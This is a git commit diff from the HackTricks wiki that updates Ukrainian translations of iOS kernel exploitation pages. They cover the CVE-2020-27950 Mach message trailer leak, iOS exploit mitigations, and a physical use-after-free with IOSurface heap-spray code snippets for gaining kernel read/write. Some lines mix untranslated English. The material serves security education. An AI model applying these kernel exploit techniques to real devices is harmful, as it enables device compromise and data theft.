mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_
This commit is contained in:
parent
7176c7e286
commit
eb816f04a5
@ -81,6 +81,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -769,7 +770,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -846,7 +847,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +895,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
@ -5,11 +5,11 @@
|
||||
|
||||
## Уразливість
|
||||
|
||||
Є [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), але коротко:
|
||||
У вас є [детальне пояснення вразливості тут](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), але коротко:
|
||||
|
||||
Кожне Mach message, яке отримує kernel, закінчується **"trailer"**: структура змінної довжини з метаданими (seqno, sender token, audit token, context, access control data, labels...). Ядро **завжди резервує найбільший можливий trailer** (MAX_TRAILER_SIZE) в буфері повідомлення, але **ініціалізує тільки деякі поля**, а потім пізніше **вирішує, який розмір trailer повернути** на основі **опцій прийому, керованих користувачем**.
|
||||
Кожне Mach message, яке отримує ядро, закінчується **"trailer"**: структура змінної довжини з метаданими (seqno, sender token, audit token, context, access control data, labels...). Ядро **завжди резервує найбільший можливий trailer** (MAX_TRAILER_SIZE) у буфері повідомлення, але **ініціалізує лише деякі поля**, а потім **вирішує, який розмір trailer повернути** на основі **опцій отримання, контрольованих користувачем**.
|
||||
|
||||
These are the trailer relevant structs:
|
||||
Це релевантні для "trailer" структури:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
Тоді, коли trailer object генерується, ініціалізуються лише деякі поля, а max trailer size завжди резервується:
|
||||
Потім, коли створюється об'єкт trailer, ініціалізуються лише деякі поля, і максимальний розмір trailer-а завжди резервується:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
Наприклад, при спробі прочитати mach message за допомогою `mach_msg()` викликається функція `ipc_kmsg_add_trailer()`, щоб додати trailer до повідомлення. Усередині цієї функції обчислюється розмір trailer і заповнюються деякі інші поля trailer:
|
||||
Наприклад, коли ви намагаєтеся прочитати mach message за допомогою `mach_msg()`, викликається функція `ipc_kmsg_add_trailer()`, яка додає trailer до повідомлення. Усередині цієї функції обчислюється розмір trailer і заповнюються деякі інші поля trailer:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
Параметр `option` керується користувачем, тому **необхідно передати значення, яке пройде перевірку `if`.**
|
||||
Параметр `option` контролюється користувачем, тому **потрібно передати значення, яке пройде перевірку `if`.**
|
||||
|
||||
Щоб пройти цю перевірку, потрібно надіслати допустимий підтримуваний `option`:
|
||||
Щоб пройти цю перевірку, нам потрібно надіслати коректний підтримуваний `option`:
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
Але, оскільки `MACH_RCV_TRAILER_MASK` просто перевіряє біти, ми можемо передати будь-яке значення від `0` до `8`, щоб не потрапити всередину `if`-виразу.
|
||||
Проте, оскільки `MACH_RCV_TRAILER_MASK` лише перевіряє біти, ми можемо передати будь-яке значення між `0` і `8`, щоб не потрапити всередину `if`-блоку.
|
||||
|
||||
Далі, продовжуючи з code, ви знайдете:
|
||||
Далі, продовжуючи аналіз коду, можна знайти:
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Як бачите, якщо `option` більше або дорівнює `MACH_RCV_TRAILER_AV` (7), поле **`msgh_ad`** ініціалізується значенням `0`.
|
||||
Як видно, якщо значення `option` більше або дорівнює `MACH_RCV_TRAILER_AV` (7), поле **`msgh_ad`** ініціалізується нулем.
|
||||
|
||||
Якщо ви помітили, **`msgh_ad`** залишалося єдиним полем трейлера, яке раніше не було ініціалізоване і могло містити leak із раніше використаної пам'яті.
|
||||
Якщо помітити, **`msgh_ad`** залишалося єдиним полем трейлера, яке раніше не було ініціалізоване і могло містити leak з раніше використаної пам'яті.
|
||||
|
||||
Отже, спосіб уникнути його ініціалізації — передати значення `option`, рівне `5` або `6`, щоб пройти першу перевірку `if` і не зайти в `if`, який ініціалізує `msgh_ad`, оскільки значення `5` і `6` не відповідають жодному типу трейлера.
|
||||
Тому, щоб уникнути його ініціалізації, потрібно передати значення `option`, рівне `5` або `6`, щоб пройти першу перевірку if і не потрапити у ту перевірку, яка ініціалізує `msgh_ad`, оскільки значення `5` і `6` не відповідають жодному типу трейлера.
|
||||
|
||||
### Базовий PoC
|
||||
|
||||
У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для простого leak деяких випадкових даних.
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
|
||||
### PoC для Leak-адреси ядра
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для leak адреси ядра. Для цього в повідомленні відправляється багато структур `mach_msg_port_descriptor_t`, оскільки поле `name` цієї структури в userland містить unsigned int, але в kernel поле `name` є вказівником на структуру `ipc_port`. Отже, відправлення десятків таких структур у повідомленні в kernel призведе до того, що **до повідомлення буде додано кілька kernel-адрес**, тож одну з них можна буде leak-нути.
|
||||
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||||
|
||||
Додано коментарі для кращого розуміння:
|
||||
Коментарі були додані для кращого розуміння:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -326,7 +326,7 @@ return 0;
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [Публікація Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,111 +3,110 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** в iOS працює так, що кожен фрагмент виконуваного коду (додатки, бібліотеки, розширення тощо) має бути криптографічно підписаний сертифікатом, виданим Apple. Під час завантаження коду iOS перевіряє цифровий підпис щодо довіреного кореневого сертифіката Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляється виконувати його. Це запобігає ін’єкції шкідливого коду в легітимні додатки або запуску непідписаних бінарників, ефективно блокуючи більшість експлойт-ланцюгів, що покладаються на виконання довільного або зміненого коду.
|
||||
- **CoreTrust** — підсистема iOS, яка відповідає за виконання перевірок підписів коду під час роботи. Вона безпосередньо перевіряє підписи з використанням кореневого сертифіката Apple, не покладаючись на кешовані магазини довіри, тобто лише бінарники, підписані Apple (або з валідними правами), можуть виконуватись. CoreTrust гарантує, що навіть якщо зловмисник змінить додаток після встановлення, модифікує системні бібліотеки або спробує завантажити непідписаний код, система заблокує виконання, якщо підпис не відповідає вимогам.
|
||||
- **Data Execution Prevention (DEP)** позначає області пам’яті як невиконувані, якщо вони явно не містять коду. Це унеможливлює виконання shellcode, що був записаний у регіони даних (наприклад, стек або heap), змушуючи зловмисників використовувати складніші техніки, як-от ROP.
|
||||
- **ASLR (Address Space Layout Randomization)** рандомізує адреси коду, бібліотек, стеку та heap при кожному запуску системи. Це ускладнює передбачення місцезнаходження потрібних інструкцій або гаджетів, руйнуючи багато експлойт-ланцюгів, що залежать від фіксованої структури пам’яті.
|
||||
- **KASLR (Kernel ASLR)** застосовує ту саму концепцію рандомізації до ядра iOS. Перемішуючи базову адресу ядра при кожному завантаженні, воно ускладнює для зловмисника надійне знаходження функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра.
|
||||
- **Kernel Patch Protection (KPP)**, також відома як **AMCC (Apple Mobile File Integrity)** в iOS, безперервно моніторить сторінки коду ядра, щоб переконатися, що вони не були змінені. Якщо виявлено підтасовку — наприклад, експлойт намагається патчити функції ядра або вставити шкідливий код — пристрій одразу перейде в panic і перезавантажиться. Це ускладнює реалізацію стійких експлойтів у ядрі, оскільки просте підмінення або хукінг інструкцій ядра спричинить збій системи.
|
||||
- **Kernel Text Readonly Region (KTRR)** — апаратна фіча, реалізована на iOS-пристроях. Вона використовує контролер пам’яті CPU, щоб позначити секцію коду (text) ядра як постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю область пам’яті. Це заважає як зловмисникам, так і привілейованому коду патчити інструкції ядра під час роботи, закриваючи значну категорію експлойтів.
|
||||
- **Pointer Authentication Codes (PAC)** використовують криптографічні підписи, вбудовані в невикористовувані біти вказівників, для перевірки їх цілісності перед використанням. Коли вказівник (наприклад, адреса повернення або функціональний вказівник) створюється, CPU підписує його секретним ключем; перед роздереферуванням CPU перевіряє підпис. Якщо вказівник було змінено, перевірка не пройде і виконання припиниться. Це ускладнює підробку або повторне використання корумпованих вказівників у експлойтах, роблячи техніки типу ROP або JOP значно менш надійними.
|
||||
- **Privilege Access never (PAN)** — апаратна функція, що забороняє ядру (привілейований режим) безпосередньо доступати до пам’яті користувацького простору, якщо цей доступ явно не дозволено. Це перешкоджає зловмисникам, які отримали виконання коду в ядрі, просто читати або писати пам’ять userland для ескалації привілеїв чи викрадення даних. Суворе розділення зменшує наслідки експлойтів ядра та блокує багато типових методів підвищення прав.
|
||||
- **Page Protection Layer (PPL)** — механізм iOS, який захищає критичні регіони пам’яті, якими керує ядро, особливо ті, що пов’язані з підписами коду та правами (entitlements). Він встановлює жорсткі захисти на запис з використанням MMU та додаткових перевірок, гарантує, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це ускладнює для зловмисників, які отримали виконання в ядрі, маніпулювати структурами, що гарантують безпеку, ускладнюючи стійкість та обхід підписування коду.
|
||||
## Механізми захисту iOS
|
||||
|
||||
- **Code Signing** в iOS працює так, що кожен шматок виконуваного коду (apps, libraries, extensions тощо) має бути криптографічно підписаний сертифікатом, виданим Apple. Під час завантаження коду iOS перевіряє цифровий підпис проти довіреного кореня Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляється його виконувати. Це перешкоджає зловмисникам інжектити шкідливий код у легітимні додатки або запускати unsigned бінарники, ефективно зриваючи більшість ланцюжків експлойтів, що покладаються на виконання довільного або зміненого коду.
|
||||
- **CoreTrust** — підсистема iOS, яка відповідає за примусове виконання перевірок підпису коду під час runtime. Вона безпосередньо перевіряє підписи, використовуючи кореневий сертифікат Apple, не покладаючись на кешовані сховища довіри, тобто виконуватиметься лише код, підписаний Apple (або з дійсними entitlements). CoreTrust гарантує, що навіть якщо зловмисник модифікує додаток після встановлення, змінює системні бібліотеки або намагається завантажити unsigned код, система заблокує виконання, якщо підпис некоректний. Ця сувора перевірка закриває багато післяексплуатаційних векторів, які старіші версії iOS дозволяли через слабші або обхідні перевірки підпису.
|
||||
- **Data Execution Prevention (DEP)** позначає області пам'яті як невиконувані, якщо вони явно не містять код. Це перешкоджає зловмисникам інжектувати shellcode у області даних (наприклад, stack або heap) і запускати його, змушуючи їх використовувати складніші техніки, як-от ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** рандомізує адреси пам'яті для коду, бібліотек, стеку та heap при кожному запуску системи. Це значно ускладнює передбачення розташування корисних інструкцій або гаджетів, руйнуючи багато експлойт-ланцюжків, що залежать від фіксованого розташування пам'яті.
|
||||
- **KASLR (Kernel ASLR)** застосовує той самий принцип рандомізації до ядра iOS. Перетасовування базової адреси ядра при кожному завантаженні ускладнює зловмисникам надійне знаходження функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра, які могли б отримати повний контроль над системою.
|
||||
- **Kernel Patch Protection (KPP)**, також відомий як **AMCC (Apple Mobile File Integrity)** в iOS, постійно моніторить сторінки з кодом ядра, щоб переконатися, що вони не були змінені. Якщо виявлено підтасовку — наприклад, спробу експлойту підправити функції ядра або вставити шкідливий код — пристрій одразу панікує і перезавантажується. Цей захист ускладнює стійкі експлойти ядра, оскільки зловмисник не може просто hook-нути або патчити інструкції ядра без виклику краху системи.
|
||||
- **Kernel Text Readonly Region (KTRR)** — апаратна функція безпеки, представлена на пристроях iOS. Вона використовує контролер пам'яті CPU, щоб зробити секцію коду (text) ядра постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю область пам'яті. Це перешкоджає зловмисникам — і навіть привілейованому коду — патчити інструкції ядра під час виконання, закриваючи важливий клас експлойтів, які покладалися на пряме модифікування коду ядра.
|
||||
- **Pointer Authentication Codes (PAC)** використовують криптографічні підписи, вбудовані в невикористані біти вказівників, щоб перевіряти їх цілісність перед використанням. Коли вказівник (наприклад, адреса повернення або функціональний вказівник) створюється, CPU підписує його секретним ключем; перед роздереференсом CPU перевіряє підпис. Якщо вказівник був змінений, перевірка провалюється і виконання зупиняється. Це перешкоджає підробці або повторному використанню змінених вказівників у вразливостях пам'яті, ускладнюючи техніки типу ROP або JOP.
|
||||
- **Privilege Access never (PAN)** — апаратна функція, яка не дає ядру (режим привілейованого виконання) безпосередньо доступатися до пам'яті користувацького простору, якщо цей доступ явно не дозволено. Це зупиняє зловмисників, які отримали виконання коду в ядрі, від простого читання або запису в пам'ять користувача для ескалації привілеїв або крадіжки чутливих даних. Суворе розмежування зменшує вплив експлойтів ядра і блокує багато типових технік ескалації привілеїв.
|
||||
- **Page Protection Layer (PPL)** — механізм безпеки iOS, що захищає критичні області пам'яті, якими керує ядро, особливо ті, що пов'язані з підписом коду та entitlements. Він запроваджує суворі захисти від запису за допомогою MMU і додаткових перевірок, забезпечуючи, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це заважає зловмисникам, які отримали виконання в ядрі, підмінювати структури, критичні для безпеки, ускладнюючи стійкість та обхід підписів коду.
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
### Управління пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
**Virtual memory address space** для user-процесів в iOS охоплює діапазон від **0x0 до 0x8000000000**. Проте ці віртуальні адреси не відображаються безпосередньо на фізичну пам'ять. Замість цього **kernel** використовує **page tables** для трансляції віртуальних адрес у фактичні **physical addresses**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
#### Рівні таблиць сторінок в iOS
|
||||
|
||||
Page tables are organized hierarchically in three levels:
|
||||
Таблиці сторінок організовані ієрархічно у три рівні:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
|
||||
* Він охоплює **0x1000000000 байт** (або **256 GB**) віртуальної пам'яті.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
* Запис тут представляє меншу область віртуальної пам'яті, зокрема **0x2000000 байт** (32 MB).
|
||||
* Запис L1 може вказувати на таблицю L2, якщо він не може замапити увесь регіон самостійно.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
* Це найдрібніший рівень, де кожен запис відображає одну сторінку розміром **4 KB**.
|
||||
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш тонкий контроль.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
#### Як відбувається відображення віртуальної пам'яті на фізичну
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* Деякі записи в таблиці сторінок безпосередньо **маплять діапазон віртуальних адрес** на суміжний діапазон фізичних адрес (ніби скорочення).
|
||||
* **Pointer to Child Page Table**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
* Якщо потрібен більш тонкий контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
#### Приклад: відображення віртуальної адреси
|
||||
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
Припустимо, ви намагаєтесь звернутися до віртуальної адреси **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він містить **вказівник на L2 page table**, воно переходить до тієї L2 таблиці.
|
||||
2. **L2 Table**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **L3 page table**, воно йде туди.
|
||||
3. **L3 Table**:
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
* Ядро дивиться на фінальний запис L3, який вказує на **physical address** фактичної сторінки пам'яті.
|
||||
|
||||
#### Example of Address Mapping
|
||||
#### Приклад відображення адрес
|
||||
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
Якщо ви запишете фізичну адресу **0x800004000** в перший індекс таблиці L2, то:
|
||||
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відобразяться на фізичні адреси від **0x800004000** до **0x802004000**.
|
||||
* Це — **block mapping** на рівні L2.
|
||||
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
Альтернативно, якщо запис L2 вказує на таблицю L3:
|
||||
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
* Кожна сторінка по 4 KB у віртуальному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
A **physical use-after-free** (UAF) відбувається коли:
|
||||
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
1. Процес **виділяє** певну пам'ять як **читабельну і записувану**.
|
||||
2. **Page tables** оновлюються, щоб замапити цю пам'ять на конкретну фізичну адресу, до якої процес має доступ.
|
||||
3. Процес **деалокує** (звільняє) цю пам'ять.
|
||||
4. Проте через **баг** ядро **забуває видалити відображення** з таблиць сторінок, хоча відповідну фізичну пам'ять позначено як вільну.
|
||||
5. Ядро може потім **переалокувати цю "звільнену" фізичну пам'ять** для інших цілей, наприклад для **kernel data**.
|
||||
6. Оскільки відображення не було видалено, процес все ще може **читати і записувати** цю фізичну пам'ять.
|
||||
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
Це означає, що процес може звертатися до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
Оскільки атакуючий не може контролювати, які саме сторінки ядра будуть виділені на звільнену пам'ять, використовується техніка, відома як **heap spray**:
|
||||
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
1. Атакуючий **створює велику кількість об'єктів IOSurface** в пам'яті ядра.
|
||||
2. Кожен об'єкт IOSurface містить **magic value** в одному зі своїх полів, що дозволяє його легко ідентифікувати.
|
||||
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи якийсь із цих об'єктів IOSurface опинився на звільненій сторінці.
|
||||
4. Коли знаходять об'єкт IOSurface на звільненій сторінці, його можна використати для **читання і запису пам'яті ядра**.
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
> Зверніть увагу, що пристрої iOS 16+ (A12+) мають апаратні пом'якшення (наприклад, PPL або SPTM), які значно зменшують життєздатність технік physical UAF.
|
||||
> PPL накладає суворі MMU-захисти на сторінки, пов'язані з підписом коду, entitlements та чутливими даними ядра, тож навіть якщо сторінка буде повторно використана, записи з userland або скомпрометованого коду ядра до PPL-захищених сторінок будуть заблоковані.
|
||||
> Secure Page Table Monitor (SPTM) розширює PPL, підвищуючи захист оновлень page table самих по собі. Він гарантує, що навіть привілейований код ядра не зможе тихо перемапити звільнені сторінки або підтасувати відображення без проходження через захищені перевірки.
|
||||
> KTRR (Kernel Text Read-Only Region) фіксує секцію коду ядра як тільки для читання після завантаження. Це запобігає будь-яким модифікаціям коду ядра під час виконання, закриваючи важливий вектор атаки, на який часто покладаються physical UAF експлойти.
|
||||
> Крім того, алокації `IOSurface` стали менш передбачуваними й складнішими для відображення у user-доступні регіони, що робить трюк зі скануванням за "magic value" значно менш надійним. І `IOSurface` тепер захищено entitlements та sandbox-обмеженнями.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
### Покроковий процес Heap Spray
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
1. **Spray IOSurface Objects**: атакуючий створює багато об'єктів IOSurface з спеціальним ідентифікатором ("magic value").
|
||||
2. **Scan Freed Pages**: перевіряють, чи якийсь із об'єктів було виділено на звільненій сторінці.
|
||||
3. **Read/Write Kernel Memory**: маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **довільні читання і записи** в пам'яті ядра. Це дозволяє:
|
||||
* Використати одне поле, щоб **прочитати будь-яке 32-бітне значення** в пам'яті ядра.
|
||||
* Використати інше поле, щоб **записати 64-бітні значення**, досягаючи стабільного **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
Створіть об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
Пошук об'єктів **`IOSurface`** на одній звільненій фізичній сторінці:
|
||||
Шукайте об'єкти **`IOSurface`** в одній звільненій фізичній сторінці:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -162,25 +161,25 @@ free(surfaceIDs);
|
||||
